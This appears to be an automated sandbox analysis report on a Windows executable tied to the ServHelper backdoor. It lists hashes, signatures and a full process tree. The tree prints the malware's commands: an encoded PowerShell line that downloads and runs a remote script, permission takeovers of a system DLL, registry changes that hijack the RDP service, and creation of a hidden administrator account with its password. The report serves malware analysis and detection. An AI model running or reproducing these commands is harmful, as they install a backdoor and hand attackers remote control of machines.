Analysis

  • max time kernel
    138s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    08-07-2021 16:04

General

  • Target

    2b7720a936539736e36bb95fd6c61818.exe

  • Size

    4.4MB

  • MD5

    2b7720a936539736e36bb95fd6c61818

  • SHA1

    b89323ad4d1f09227e097173420504f24e27e131

  • SHA256

    b3f483f00e80c0777858e6795f9f13bce726ff8265ef3e8cd3602cf1711247a2

  • SHA512

    d878072027b9aca3434c2b15cb4a3b4c9d097806719ac50ed731110faef2561fa179831804ad4624b7fa7b0fbd6f5927d5ab2fc078b918e13d21d88292f5bcad

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe
    "C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1648
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:484
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5qeplvkt\5qeplvkt.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1920
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES712A.tmp" "c:\Users\Admin\AppData\Local\Temp\5qeplvkt\CSCB8439D86854B449ABE7C6F2F5EAA8345.TMP"
            5⤵
              PID:2044
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2008
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1456
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1880
          • C:\Windows\system32\takeown.exe
            "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:868
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:864
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:1536
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1572
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:744
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1756
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1808
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1940
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1920
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:368
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:1600
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1576
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    5⤵
                      PID:1500
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    4⤵
                      PID:1944
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start rdpdr
                        5⤵
                          PID:1440
                          • C:\Windows\system32\net.exe
                            net start rdpdr
                            6⤵
                              PID:1292
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start rdpdr
                                7⤵
                                  PID:1012
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                            4⤵
                              PID:1744
                              • C:\Windows\system32\cmd.exe
                                cmd /c net start TermService
                                5⤵
                                  PID:1436
                                  • C:\Windows\system32\net.exe
                                    net start TermService
                                    6⤵
                                      PID:1332
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 start TermService
                                        7⤵
                                          PID:1712
                                  • C:\Windows\system32\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                    4⤵
                                      PID:1432
                                    • C:\Windows\system32\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                      4⤵
                                        PID:744
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 000000 /del
                                  1⤵
                                    PID:1632
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 000000 /del
                                      2⤵
                                        PID:868
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                          3⤵
                                            PID:864
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe user WgaUtilAcc Fp2SgHx3 /add
                                        1⤵
                                          PID:816
                                          • C:\Windows\system32\net.exe
                                            net.exe user WgaUtilAcc Fp2SgHx3 /add
                                            2⤵
                                              PID:304
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user WgaUtilAcc Fp2SgHx3 /add
                                                3⤵
                                                  PID:744
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              1⤵
                                                PID:1196
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  2⤵
                                                    PID:1776
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                      3⤵
                                                        PID:1924
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                    1⤵
                                                      PID:944
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                        2⤵
                                                          PID:1576
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                            3⤵
                                                              PID:1496
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          1⤵
                                                            PID:1440
                                                            • C:\Windows\system32\net.exe
                                                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              2⤵
                                                                PID:2036
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                  3⤵
                                                                    PID:1728
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd /C net.exe user WgaUtilAcc Fp2SgHx3
                                                                1⤵
                                                                  PID:796
                                                                  • C:\Windows\system32\net.exe
                                                                    net.exe user WgaUtilAcc Fp2SgHx3
                                                                    2⤵
                                                                      PID:1632
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user WgaUtilAcc Fp2SgHx3
                                                                        3⤵
                                                                          PID:1992
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C wmic path win32_VideoController get name
                                                                      1⤵
                                                                        PID:1572
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic path win32_VideoController get name
                                                                          2⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:368
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C wmic CPU get NAME
                                                                        1⤵
                                                                          PID:1808
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic CPU get NAME
                                                                            2⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1292
                                                                        • C:\Windows\System32\cmd.exe
                                                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          1⤵
                                                                            PID:1240
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              2⤵
                                                                                PID:1548
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                  3⤵
                                                                                  • Blocklisted process makes network request
                                                                                  • Drops file in Windows directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:2036

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/320-61-0x000000001BD70000-0x000000001C5AA000-memory.dmp

                                                                              Filesize

                                                                              8.2MB

                                                                            • memory/320-62-0x000000001B850000-0x000000001B852000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/320-63-0x000000001D050000-0x000000001D67B000-memory.dmp

                                                                              Filesize

                                                                              6.2MB

                                                                            • memory/320-64-0x0000000000750000-0x0000000000760000-memory.dmp

                                                                              Filesize

                                                                              64KB

                                                                            • memory/320-59-0x000000013F5E0000-0x000000013F5E1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/320-65-0x0000000000760000-0x0000000000761000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/320-66-0x000000001E3F0000-0x000000001E9F9000-memory.dmp

                                                                              Filesize

                                                                              6.0MB

                                                                            • memory/484-78-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/484-79-0x000000001AC10000-0x000000001AC11000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/484-96-0x000000001C540000-0x000000001C541000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/484-97-0x00000000027A0000-0x00000000027A1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/484-77-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/484-85-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/484-82-0x0000000002020000-0x0000000002021000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/484-81-0x000000001AB94000-0x000000001AB96000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/484-80-0x000000001AB90000-0x000000001AB92000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/484-95-0x000000001C400000-0x000000001C401000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/484-93-0x0000000001F20000-0x0000000001F21000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/484-112-0x000000001AB9A000-0x000000001ABB9000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/484-83-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1456-137-0x000000001ABE0000-0x000000001ABE2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1456-138-0x000000001ABE4000-0x000000001ABE6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1456-140-0x000000001AAC0000-0x000000001AAC1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1456-145-0x0000000002540000-0x0000000002541000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1456-144-0x000000001B510000-0x000000001B511000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1456-142-0x000000001B5E0000-0x000000001B5E1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1648-67-0x0000000000400000-0x0000000000A57000-memory.dmp

                                                                              Filesize

                                                                              6.3MB

                                                                            • memory/1648-70-0x0000000000400000-0x0000000000A57000-memory.dmp

                                                                              Filesize

                                                                              6.3MB

                                                                            • memory/1648-75-0x000000002829C000-0x00000000282BB000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1648-72-0x0000000028294000-0x0000000028296000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1648-71-0x0000000028292000-0x0000000028294000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1648-73-0x0000000028296000-0x0000000028297000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1648-68-0x0000000040F60000-0x0000000041381000-memory.dmp

                                                                              Filesize

                                                                              4.1MB

                                                                            • memory/1648-74-0x0000000028297000-0x0000000028298000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1880-160-0x000000001A8A4000-0x000000001A8A6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1880-159-0x000000001A8A0000-0x000000001A8A2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2008-130-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2008-104-0x000000001AC80000-0x000000001AC82000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2008-105-0x000000001AC84000-0x000000001AC86000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2008-131-0x000000001B7C0000-0x000000001B7C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2008-106-0x00000000026B0000-0x00000000026B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2008-108-0x000000001B710000-0x000000001B711000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2008-110-0x000000001AB50000-0x000000001AB51000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2008-111-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2008-117-0x000000001B5E0000-0x000000001B5E1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/2036-205-0x0000000001020000-0x0000000001022000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2036-206-0x0000000001024000-0x0000000001026000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/2036-207-0x000000000102A000-0x0000000001049000-memory.dmp

                                                                              Filesize

                                                                              124KB